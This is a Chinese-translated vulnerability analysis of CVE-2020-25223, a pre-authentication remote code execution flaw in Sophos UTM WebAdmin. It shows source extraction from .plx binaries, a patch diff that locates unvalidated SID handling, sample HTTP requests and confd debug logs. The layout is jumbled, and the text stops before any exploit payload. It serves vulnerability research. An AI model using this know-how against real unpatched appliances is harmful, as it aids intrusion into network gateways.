搜索

[29135] 2021-08-30_【漏洞分析】SophosUTMPreauthRCE：深入研究CVE-2020-25223

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2021-08-30_【漏洞分析】SophosUTMPreauthRCE：深入研究CVE-2020-25223 【 漏 洞 分 析 】 S o p h o s   U T M   P r e a u t h   R C E ： 深 入 研 究   C V E - 2 0 2 0 - 2 5 2 2 3 O t s 安 全   2 0 2 1 - 0 8 - 3 0 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 注 意 ： S o p h o s   在   2 0 2 0   年   9   月 修 复 了 这 个 问 题 。 有 关 补 丁 可 用 性 的 信 息 在 他 们 的 安 全 公 告 中 。 概 述 概 述 在 最 近 的 一 次 客 户 参 与 中 ， 我 被 放 置 在 一 个 虚 拟 私 有 云   ( V P C )   实 例 中 ， 目 的 是 获 得 对 其 他   V P C   的 访 问 权 限 。 在 枚 举 攻 击 面 期 间 ， 我 遇 到 了   S o p h o s   U T M   9   设 备 ： 在 查 看 这 些   S o p h o s   U T M   设 备 中 的 已 知 漏 洞 时 ， 我 遇 到 了 C V E - 2 0 2 0 - 2 5 2 2 3 .   我 能 找 到 的 有 关 此 漏 洞 的 唯 一 信 息 是 ， 它 是 一 个 未 经 身 份 验 证 的 远 程 命 令 执 行 错 误 ， 影 响 了 该 产 品 的 多 个 版 本 ： S o p h o s   S G   U T M   v 9 . 7 0 5   M R 5 、 v 9 . 6 0 7   M R 7 、 v 9 . 5 1 1   M R 1 1 之 前 的 W e b A d m i n 存 在 远 程 执 行 代 码 漏 洞 在 与 我 们 的 客 户 确 认 他 们 正 在 运 行 一 个 易 受 攻 击 的 版 本 后 ， 我 在   T w i t t e r   和 几 个   S l a c k s   上 发 布 了 消 息 ， 看 看 是 否 有 人 有 关 于 该 漏 洞 的 任 何 详 细 信 息 ， 然 后 开 始 了 我 认 为 会 是 一 个 快 速 冒 险 ， 但 结 果 是 最 后 要 这 么 快 。 在 寻 找 已 知 补 丁 错 误 的 详 细 信 息 时 ， 我 以 任 何 理 智 的 人 相 同 的 方 式 开 始 ， 比 较 未 打 补 丁 的 版 本 和 打 补 丁 的 版 本 之 间 的 差 异 。 我 获 取 了   S o p h o s   U T M   平 台 的 版 本 9 . 5 1 0 - 5 和 I S O 并 9 . 5 1 1 - 2 在 实 验 室 环 境 中 启 动 它 们 。 说 实 话 ， 我 最 终 旋 转 了 六 个 不 同 的 版 本 ， 但 我 提 到 的 两 个 是 我 最 终 比 较 的 。 启 用 远 程 访 问 启 用 远 程 访 问 S o p h o s   U T M   设 备 上 的 一 个 很 好 的 功 能 是 ， 一 旦 实 例 启 动 ， 您 就 可 以 启 用   S S H ， 导 入 您 的 密 钥 ， 并 使 用   W e b   界 面 中 的 管 理   - >   系 统 设 置   - >   S h e l l   访 问 功 能 以   r o o t   身 份 访 问 设 备 ： 然 后 只 需 通 过   S S H   连 接 到 实 例 即 可 ： $   s s h   r o o t @ 1 9 2 . 1 6 8 . 5 0 . 1 5 L a s t   l o g i n :   M o n   A u g   1 6   1 4 : 3 7 : 0 0   2 0 2 1   f r o m   1 9 2 . 1 6 8 . 5 0 . 1 7 8 S o p h o s   U T M ( C )   C o p y r i g h t   2 0 0 0 - 2 0 1 7   S o p h o s   L i m i t e d   a n d   o t h e r s .   A l l   r i g h t s   r e s e r v e d . S o p h o s   i s   a   r e g i s t e r e d   t r a d e m a r k   o f   S o p h o s   L i m i t e d   a n d   S o p h o s   G r o u p . A l l   o t h e r   p r o d u c t   a n d   c o m p a n y   n a m e s   m e n t i o n e d   a r e   t r a d e m a r k s   o r   r e g i s t e r e d t r a d e m a r k s   o f   t h e i r   r e s p e c t i v e   o w n e r s . F o r   m o r e   c o p y r i g h t   i n f o r m a t i o n   l o o k   a t   / d o c / a s t a r o - l i c e n s e . t x t o r   h t t p : / / w w w . a s t a r o . c o m / d o c / a s t a r o - l i c e n s e . t x t N O T E :   I f   n o t   e x p l i c i t l y   a p p r o v e d   b y   S o p h o s   s u p p o r t ,   a n y   m o d i f i c a t i o n s d o n e   b y   r o o t   w i l l   v o i d   y o u r   s u p p o r t . s o p h o s : / r o o t   #
代 码 在 哪 里 ？ 代 码 在 哪 里 ？ 我 通 过   B u r p   将 所 有   W e b   流 量 代 理 到 实 例 ， 发 现 w e b a d m i n . p l x 端 点 处 理 了 大 部 分 传 入 的   W e b   流 量 。 例 如 ， 在 导 航 到 未 经 身 份 验 证 的 实 例 时 发 出 以 下   H T T P   P O S T   请 求 ： 在 设 备 上 我 们 可 以 看 到 它 w e b a d m i n . p l x 确 实 在 运 行 ： 事 实 证 明 ， 网 络 服 务 器 实 际 上 在   c h r o o t   中 运 行 / v a r / s e c / c h r o o t - h t t p d / ， 因 此 我 们 可 以 在 其 中 找 到 该 文 件 ： 不 熟 悉 . p l x 文 件 格 式 ， 我 曾 经 f i l e 看 到 我 在 处 理 什 么 ： 嗯 ， 好 吧 … … 我 希 望 有 一 些 简 单 的 东 西 ， 比 如   P H P   或   P y t h o n   之 类 的 东 西 。 在   E L F   戳 了 一 会 儿 并 在 网 上 挖 掘 后 ， 我 发 现 了 以 下 文 章 （ 我 不 知 道 原 文 在 哪 里 ， 对 不 起 ） ： h t t p s : / / p a p e r . s e e b u g . o r g / 1 3 9 7 / 似 乎 我 不 是 第 一 个 评 估 这 些 设 备 的 人 ， 老 实 说 ， 这 篇 文 章 可 能 为 我 节 省 了 几 个 小 时 的 时 间 。 这 篇 文 章 的 要 点 是 ， 作 者 发 现 这 些 . p l x 文 件 是 使 用   A c t i v e S t a t e   的   P e r l   D e v   K i t   编 译 的   P e r l   文 件 ， 您 可 以 通 过 . p l x 在 调 试 器 中 运 行 该 文 件 、 设 置 断 点 和 恢 复 脚 本 来 访 问 原 始 源 代 码 从 记 忆 里 。 我 经 历 了 这 个 过 程 ， 而 且 效 果 出 奇 的 好 。 本 文 作 者 请 注 意 ： 您 可 以 使 用   S S H   隧 道 来 访 问 在   S o p h o s   U T M   实 例 上 运 行 的   I D A   调 试 器 。 好 的 好 的 . . . 但 是 其 余 的 代 码 在 哪 里 但 是 其 余 的 代 码 在 哪 里 . . . ？ ？ 在 这 一 点 上 ， 我 可 以 访 问 w e b a d m i n . p l x 代 码 （ 实 际 上 a s g . p l x 是   P e r l   代 码 ） ， 这 很 棒 ， 但 有 一 个 大 问 题 ： 该 a s g . p l x 文 件 不 是 包 含 所 有 代 码 的 大 文 件 。 我 需 要 访 问 a s g x . p l x 导 入 的   P e r l   模 块 ， 例 如 ： a s g . p l x : 2 0 - 2 6 我 希 望 我 能 说 我 能 够 快 速 轻 松 地 访 问 此 代 码 ， 最 后 它 就 像 使 用 正 确 的 工 具 提 取 它 一 样 简 单 ， 但 当 时 我 不 知 道 ， 我 绊 倒 并 爬 上 了 一 个 沿 途 很 远 。 我 能 够 a s g . p l x 通 过 获 取 进 程 的 内 存 转 储 并 使 用 字 符 串 查 找 代 码 片 段 来 确 认 导 入 的 模 块 可 以 访 问 ， 因 此 从 好 的 方 面 来 说 ， 代 码 肯 定 存 在 。 经 过 几 个 深 夜 尝 试 不 同 的 事 情 ， 比 如 从 内 存 转 储 中 提 取 代 码 、 修 补 二 进 制 文 件 等 … … 我 w e b a d m i n . p l x 在 工 作 聊 天 中 发 布 了 问 题 和 文 件 。 有 使 用 很 好 的 建 议 L D _ P R E L O A D 上 l i b p e r l . s o ， 或 使 用 二 进 制 指 令 具 有 f r i d a 或 P I N 获 得 访 问 源 代 码 ， 但 后 来 我 们 伟 大 的 反 向 的 一 位 工 程 师 发 现 ， 该 文 件 竟 然 出 现 了 B F S 文 件 系 统 嵌 入 在 E L F 文 件 的 末 尾 ， 并 在 几 分 钟 就 能 够 将 一 个 脚 本 放 在 一 起 ， 然 后 可 以 用 来 h t t p s : / / g i t h u b . c o m / t h e 6 p 4 c / b f s _ e x t r a c t 提 取 文 件 系 统 （ 以 及 源 代 码 ） 。 该 脚 本 可 以 在 这 里 找 到 ： P O S T   / w e b a d m i n . p l x   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 5 : 4 4 4 4 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 9 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 1 . 0 A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - P r o t o t y p e - V e r s i o n :   1 . 5 . 1 . 1 C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   2 0 4 O r i g i n :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 5 : 4 4 4 4 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 5 : 4 4 4 4 / S e c - F e t c h - D e s t :   e m p t y S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - S i t e :   s a m e - o r i g i n C a c h e - C o n t r o l :   m a x - a g e = 0 { " o b j s " :   [ { " F I D " :   " i n i t " } ] ,   " S I D " :   0 ,   " b r o w s e r " :   " g e c k o _ l i n u x " ,   " b a c k e n d _ v e r s i o n " :   - 1 ,   " l o c " :   " " ,   " _ c o o k i e " :   n u l l ,   " w d e b u g " :   0 ,   " R I D " :   " 1 6 2 9 2 1 6 1 8 2 3 0 0 _ 0 . 6 7 5 2 2 3 9 0 2 6 8 9 2 8 1 8 " ,   " c u r r e n t _ u u i d " :   " " ,   " i p v 6 " :   t r u e } s o p h o s : / r o o t   #   p s   a u x   |   g r e p   - i   w e b a d m i n . p l x w w w r u n       1 2 6 8 5     0 . 4     1 . 0     9 3 2 4 0   8 9 0 7 2   ?                 S         1 1 : 2 2       0 : 0 8 / v a r / w e b a d m i n / w e b a d m i n . p l x #   l s   / v a r / s e c / c h r o o t - h t t p d / v a r / w e b a d m i n / w e b a d m i n . p l x / v a r / s e c / c h r o o t - h t t p d / v a r / w e b a d m i n / w e b a d m i n . p l x #   f i l e   w e b a d m i n . p l x w e b a d m i n . p l x :   E L F   3 2 - b i t   L S B   e x e c u t a b l e ,   I n t e l   8 0 3 8 6 ,   v e r s i o n   1   ( S Y S V ) ,   f o r G N U / L i n u x   2 . 2 . 5 ,   d y n a m i c a l l y   l i n k e d   ( u s e s   s h a r e d   l i b s ) ,   s t r i p p e d #   a s t a r o   s t u f f   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - u s e   A s t a r o : : L o g d i s p a t c h e r ; u s e   A s t a r o : : T i m e : : Z o n e   q w / l g d i f f / ; #   n e c e s s a r y   c o r e   m o d u l e s   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - u s e   c o r e : : m o d u l e s : : c o r e _ g l o b a l s ; u s e   c o r e : : m o d u l e s : : c o r e _ t o o l s ; i m p o r t   s y s i m p o r t   s t r u c t
y a n k . p y 使 用 它 是 相 当 直 接 的 ： b f s _ e x t r a c t . s h 看 着 从 文 件 中 提 取 的 数 千 个 源 文 件 . p l x 很 漂 亮 ， 我 几 乎 要 流 下 喜 悦 的 泪 水 。 回 到 差 异 回 到 差 异 我 花 了 相 当 多 的 时 间 . p l x 从   U T M   实 例 的 文 件 中 提 取 源 代 码 ， 并 提 取 整 个 / v a r / s e c / c h r o o t - h t t p d / 目 录 以 捕 获 配 置 文 件 中 的 任 何 差 异 。 我 选 择 的 查 看 差 异 的 工 具 是 M e l d ， 因 为 它 可 以 让 我 快 速 、 直 观 地 查 看 目 录 和 文 件 的 差 异 ： 在 版 本 之 间 ， 唯 一 的 变 化 是 在 w f e / a s g / m o d u l e s / a s g _ c o n n e c t o r . p m 文 件 中 ： 这 个 文 件 的 变 化 可 以 在 下 面 的 m e l d 中 看 到 ： i m p o r t   s t r u c t c l a s s   B F S : d e f   _ _ i n i t _ _ ( s e l f ,   d a t a ) :         s e l f . d a t a   =   d a t a @ c l a s s m e t h o d     d e f   o p e n ( c l s ,   p a t h ) :         w i t h   o p e n ( p a t h ,   ' r + b ' )   a s   f :             f . s e e k ( - 1 2 ,   2 )             m a g i c _ c h u n k   =   f . r e a d ( 1 2 )             p o i n t e r _ h e a d e r   =   s t r u c t . u n p a c k ( ' < I I I ' ,   m a g i c _ c h u n k )             a s s e r t ( p o i n t e r _ h e a d e r [ 0 ]   = =   0 x a b 2 1 5 5 b c )             f . s e e k ( - 1 2   -   p o i n t e r _ h e a d e r [ 2 ] ,   2 ) d a t a   =   f . r e a d ( p o i n t e r _ h e a d e r [ 2 ] ) r e t u r n   c l s ( d a t a ) b f s   =   B F S . o p e n ( s y s . a r g v [ 1 ] ) w i t h   o p e n ( s y s . a r g v [ 2 ] ,   ' w b ' )   a s   o u t f :     o u t f . w r i t e ( b f s . d a t a ) # ! / b i n / b a s h p y t h o n 3   ~ / t o o l s / b f s _ e x t r a c t / y a n k . p y   $ 1   s t a g e 1 - $ 1 p y t h o n 3   ~ / t o o l s / b f s _ e x t r a c t / b f s . p y   s t a g e 1 - $ 1   s t a g e 2 - $ 1 p y t h o n 3   ~ / t o o l s / b f s _ e x t r a c t / b f s _ e x t r a c t . p y   s t a g e 2 - $ 1   $ 2 $   b f s _ e x t r a c t . s h   w e b a d m i n . p l x   e x t r a c t e d / F o u n d   f i l e   D a t e T i m e / T i m e Z o n e / A m e r i c a / I n d i a n a / V e v a y . p m O f f s e t :   1 a b 4 c F o u n d   f i l e   A s t a r o / C o n f d / O b j e c t / t i m e / s i n g l e . p m O f f s e t :   1 b 6 a 4 F o u n d   f i l e   a u t o / N e t / S S L e a y / h t t p x _ c a t . a l O f f s e t :   1 b 8 a 4 F o u n d   f i l e   a u t o / N e t A d d r / I P / I n e t B a s e / i n e t _ a n y 2 n . a l
更 新 后 的 代 码 显 示 了 添 加 到 s w i t c h _ s e s s i o n 子 程 序 的 检 查 ， 确 保 S I D （ 会 话   I D ） 不 包 含 字 母 数 字 字 符 以 外 的 任 何 其 他 字 符 ； 所 以 漏 洞 很 可 能 来 源 于 S I D . G o i n g   D o w n   t h e   R a b b i t   H o l e s w i t c h _ s e s s i o n 调 用 子 程 序 的 唯 一 地 方 是 从 d o _ c o n n e c t 子 程 序 ： 该 d o _ c o n n e c t 子 程 序 只 是 似 乎 是 在 一 个 包 装 s w i t c h _ s e s s i o n 子 程 序 ： w f e / a s g / m o d u l e s / a s g _ c o n n e c t o r . p m : 6 8 - 7 2 该 d o _ c o n n e c t 子 程 序 在 代 码 的 不 同 位 置 使 用 ： 知 道 这 a s g . p l x 是   的 脚 本 名 称 w e b a d m i n . p l x ， 让 我 们 先 看 看 那 里 ： a s g . p l x : 2 0 9 - 2 1 6 $   a g   s w i t c h _ s e s s i o n w f e / a s g / m o d u l e s / a s g _ c o n n e c t o r . p m 6 8 : #   j u s t   a   w r a p p e r   f o r   s w i t c h _ s e s s i o n 7 1 :     r e t u r n   $ s e l f - > s w i t c h _ s e s s i o n ( @ _ ) ; 7 6 : s u b   s w i t c h _ s e s s i o n   { 8 1 :     & m a i n : : m s g ( ' d ' ,   " C a l l e d   "   .   _ _ P A C K A G E _ _   .   " : : s w i t c h _ s e s s i o n ( ) " ) ; #   j u s t   a   w r a p p e r   f o r   s w i t c h _ s e s s i o n s u b   d o _ c o n n e c t   { m y   $ s e l f   =   s h i f t ; r e t u r n   $ s e l f - > s w i t c h _ s e s s i o n ( @ _ ) ; } $   a g   d o _ c o n n e c t w f e / a s g / m o d u l e s / a s g _ l o g i n . p m 2 9 0 :         $ S I D   =   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ) ; w f e / a s g / m o d u l e s / a s g _ m i s c . p m 1 1 0 :     $ S I D   =   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } , $ v a r s - > { S I D } )   i f   $ v a r s - > { S I D } ; w f e / a s g / m o d u l e s / a s g _ m a i n . p m 5 5 :             $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ _ c o o k i e s - > { S I D } - > v a l u e )   :   u n d e f ; w f e / a s g / m o d u l e s / a s g _ c o n n e c t o r . p m 6 9 : s u b   d o _ c o n n e c t   { c o r e / m o d u l e s / c o r e _ c o n n e c t o r . p m 3 0 : #   r e n a m e d   c o n n e c t   t o   d o _ c o n n e c t   f o r   a v o i d   c o n f u s i o n   w i t h 3 2 : s u b   d o _ c o n n e c t   { 3 3 :     d i e   _ _ P A C K A G E _ _   .   ' : : d o _ c o n n e c t ( )   h a s   t o   b e   i m p l e m e n t e d   b y   i n h e r t i n g   m o d u l e ! ' ; a s g . p l x 1 9 0 :         $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ r e q - > { S I D } )   :   u n d e f ; 2 1 6 :         $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ r e q - > { S I D } )   :   u n d e f ; 3 2 5 :                     i f   (   $ c o o k i e s - > { S I D }   a n d   (   $ c o o k i e s - > { S I D }   e q   $ S I D   o r   $ S I D   =   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ c o o k i e s - > { S I D } )   )   )   { #   P O S T   r e q u e s t   -   m e a n s   J S O N   r e q u e s t i f   (   $ E N V { ' R E Q U E S T _ M E T H O D ' }   e q   ' P O S T '   )   { #   n o   f u r t h e r   p r o c e s s i n g   i n   c a s e   o f   c o n t e n t - t y p e   v i o l a t i o n g o t o   R E Q _ O U T P U T   i f   $ r e q - > { c t _ v i o l a t i o n } ; #   s w i t c h   o u r   i d e n t i t y   i f   n e c e s s a r y         $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ r e q - > { S I D } )   :   u n d e f ;
该 d o _ c o n n e c t 子 例 程 在   H T T P   P O S T   请 求 处 理 开 始 时 使 用 ， 并 且 也 需 要 使 用 ， S I D 因 此 我 们 应 该 能 够 使 用 任 何   H T T P   P O S T   请 求 命 中 它 。 在 整 个 代 码 中 ， 都 引 用 c o n f d 了 h t t p d 前 端 通 过   R P C   与 之 通 信 的 后 端 服 务 。 当 向   发 出   H T T P   P O S T   请 求 时 w e b a d m i n . p l x ， h t t p d 服 务 会 连 接 到 c o n f d 并 向 其 发 送 一 些 数 据 ， 例 如 S I D ， 这 就 是 我 们 所 看 到 的 ： 因 此 ， 当 发 出   H T T P   P O S T   请 求 时 ， 它 会 S I D 被 发 送 到 c o n f d 检 查 它 是 否 是 有 效 会 话 标 识 符 的 地 方 。 这 可 以 在 设 备 上 的 日 志 文 件 中 看 到 / v a r / l o g / 。 如 果 我 们 使 用   i n v a l i d   提 出 以 下 请 求 S I D ： 然 后 我 们 可 以 看 到 在 / v a r / l o g / c o n f d - d e b u g . l o g 日 志 文 件 中 进 行 了 查 找 。 与 用 户 提 供 的 c o n f d 调 用 ： g e t _ S I D S I D $ S I D   =   $ s y s   ?   $ s y s - > d o _ c o n n e c t ( $ c o n f i g - > { b a c k e n d _ a d d r e s s } ,   $ r e q - > { S I D } )   :   u n d e f ; P O S T   / w e b a d m i n . p l x   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 7 : 4 4 4 4 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 9 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 1 . 0 A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - P r o t o t y p e - V e r s i o n :   1 . 5 . 1 . 1 C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   2 2 7 O r i g i n :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 : 4 4 4 4 D N T :   1 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 : 4 4 4 4 / S e c - F e t c h - D e s t :   e m p t y S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - S i t e :   s a m e - o r i g i n { " o b j s " :   [ { " F I D " :   " g e t _ u s e r _ i n f o r m a t i o n " } ] ,   " S I D " : " A T R E D I S " ,   " b r o w s e r " :   " g e c k o _ l i n u x " ,   " b a c k e n d _ v e r s i o n " :   - 1 ,   " l o c " :   " " ,   " _ c o o k i e " :   n u l l ,   " w d e b u g " :   0 ,   " R I D " :   " 1 6 2 8 9 9 7 0 6 1 5 4 7 _ 0 . 8 2 3 5 6 3 9 5 8 6 0 0 1 4 " ,   " c u r r e n t _ u u i d " :   " " ,   " i p v 6 " :   t r u e } 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 7 5 1 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 1 2 5 ( )   = >   l i s t e n e r :   n e w   c o n n e c t i o n . . . 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 7 5 1 ] :   D   A s t a r o : : R P C : : r e a p _ c h i l d r e n : 1 1 8 ( )   = >   r e a p e d :   3 2 6 4 3 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 7 5 1 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 2 1 5 ( )   = >   f o r k e d :   3 2 6 5 3 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 7 5 1 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 2 2 3 ( )   = >   w o r k e r s :   1 1 6 8 2 ,   3 2 6 5 3 ,   1 0 4 1 9 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 1 5 9 ( )   = >   c h i l d :   s e r v i n g   c o n n e c t i o n   f r o m   1 2 7 . 0 . 0 . 1 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   D   A s t a r o : : R P C : : g e t _ r e q u e s t : 3 2 1 ( )   = >   g e t _ r e q u e s t ( )   s t a r t 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   > = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   D   A s t a r o : : R P C : : r e s p o n s e : 2 8 7 ( )   = >   p r p c   r e s p o n s e :   $ V A R 1   =   [ 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :                       1 , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :                       ' W e l c o m e ! ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :                   ] ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   < = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 0 : 5 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 6 5 3 ] :   D   A s t a r o : : R P C : : g e t _ r e q u e s t : 3 2 1 ( )   = >   g e t _ r e q u e s t ( )   s t a r t - - 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                       ' S I D '   = >   ' A T R E D I S ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                       ' a s g _ i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                       ' i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 8 ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                                   } 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                                               ] , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' i d '   = >   ' u n s u p p o r t e d ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' m e t h o d '   = >   ' N e w H a n d l e ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       ' p a t h '   = >   ' / w e b a d m i n / n o n p r o x y ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                   } ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   | = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 1 7 8 ( )   = >   m e t h o d :   n e w   p a r a m s :   $ V A R 1   =   [ 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       { 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                           ' S I D '   = >   ' A T R E D I S ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                           ' a s g _ i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 ' , 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                           ' i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 8 ' 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                       } 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :                   ] ; 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   < = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 5 : 2 3 : 1 4   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 3 2 7 5 3 ] :   D   u t i l s : : w r i t e _ s i g u s r 1 : 3 8 9 ( )   = >   i d = " 3 1 0 0 "   s e v e r i t y = " d e b u g "   s y s = " S y s t e m "   s u b = " c o n f d "   n a 